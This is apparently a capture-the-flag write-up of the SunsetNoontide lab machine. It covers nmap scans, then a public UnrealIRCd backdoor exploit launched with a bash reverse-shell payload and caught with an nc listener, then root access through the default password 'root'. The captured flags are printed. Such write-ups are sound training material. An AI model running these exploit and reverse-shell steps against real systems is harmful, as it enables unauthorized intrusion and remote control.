

## Offensive Security – SunsetNoontide

Alberto Gómez

First, I did a *nmap* scan. As only one port seemed open, I launched a more exhaustive scan, and checked the versions of the services:

```
(kali@kali)-[~]
└─$ sudo nmap -Pn 192.168.51.120
[sudo] password for kali:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-07 12:10 EDT
Nmap scan report for 192.168.51.120
Host is up (0.043s latency).
Not shown: 999 closed tcp ports (reset)
PORT      STATE SERVICE
6667/tcp  open  irc

Nmap done: 1 IP address (1 host up) scanned in 14.05 seconds

(kali@kali)-[~]
└─$ sudo nmap -Pn -p- -T5 192.168.51.120
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-07 12:11 EDT
Nmap scan report for 192.168.51.120
Host is up (0.042s latency).
Not shown: 65532 closed tcp ports (reset)
PORT      STATE SERVICE
6667/tcp  open  irc
6697/tcp  open  ircs-u
8067/tcp  open  infi-async

Nmap done: 1 IP address (1 host up) scanned in 68.63 seconds

(kali@kali)-[~]
└─$ sudo nmap -Pn -p6667,6697,8067 -sV -sC 192.168.51.120
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-07 12:14 EDT
Nmap scan report for 192.168.51.120
Host is up (0.046s latency).
PORT      STATE SERVICE VERSION
6667/tcp  open  irc      UnrealIRCd
6697/tcp  open  ircs-u   UnrealIRCd
8067/tcp  open  irc      UnrealIRCd
Service Info: Host: irc.foonet.com

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.41 seconds
```

Looking up *UnrealIRC* vulnerabilities, I found a “Backdoor Command Execution” vulnerability. I tried using this Python script from [Ranger11Danger/UnrealIRCD-3.2.8.1-Backdoor \(github.com\)](https://github.com/Ranger11Danger/UnrealIRCD-3.2.8.1-Backdoor).

On the script, we have to change two lines of code to specify our listening address and port:

```
# Sets the local ip and port (address and port to listen on)
local_ip = '192.168.49.51' # CHANGE THIS
local_port = '8888' # CHANGE THIS
```

Then, execute the script with the type of payload we want, target IP and port:

```
(kali@kali)-[~]
└─$ ./unreal.py -payload bash 192.168.51.120 8067
Exploit sent successfully!
```

I tried executing it against the three open ports and only worked on 8067.

Got the shell:

```
(kali㉿kali)-[~]  
$ nc -lvnp 8888  
listening on [any] 8888 ...  
connect to [192.168.49.51] from (UNKNOWN) [192.168.51.120] 43954  
bash: cannot set terminal process group (385): Inappropriate ioctl for device  
bash: no job control in this shell  
server@noontide:~/irc/Unreal3.2$
```

Found the first flag:

```
server@noontide:~/irc/Unreal3.2$ cd /home/server  
cd /home/server  
server@noontide:~$ cat local.txt  
cat local.txt  
5b63dd6beab9d1492585158c4867baab  
server@noontide:~$
```

Looking for privilege escalation vectors, I found two exploits for the kernel. Those are the “*Linux Kernel 4.10 < 5.1.17 - 'PTRACE\_TRACEME' pkexec Local Privilege Escalation*” and the “*CVE-2021-3156*”. However, the first one requires the ‘*pkexec*’ binary, and the second one takes advantage of ‘*sudo*’. Both binaries are not present on this machine. The creator prevented us from using kernel exploits.

After lots of research and not realizing the obvious easiest solution, the password for *root* user was also ‘*root*’. With ‘*su*’ command we get a shell and find the final flag:

```
server@noontide:~$ su root  
Password:  
root@noontide:/home/server# ls /root  
proof.txt  
root@noontide:/home/server# cat /root/proof.txt  
78f9ae192e59ae17a43d5195f745fe7e  
root@noontide:/home/server#
```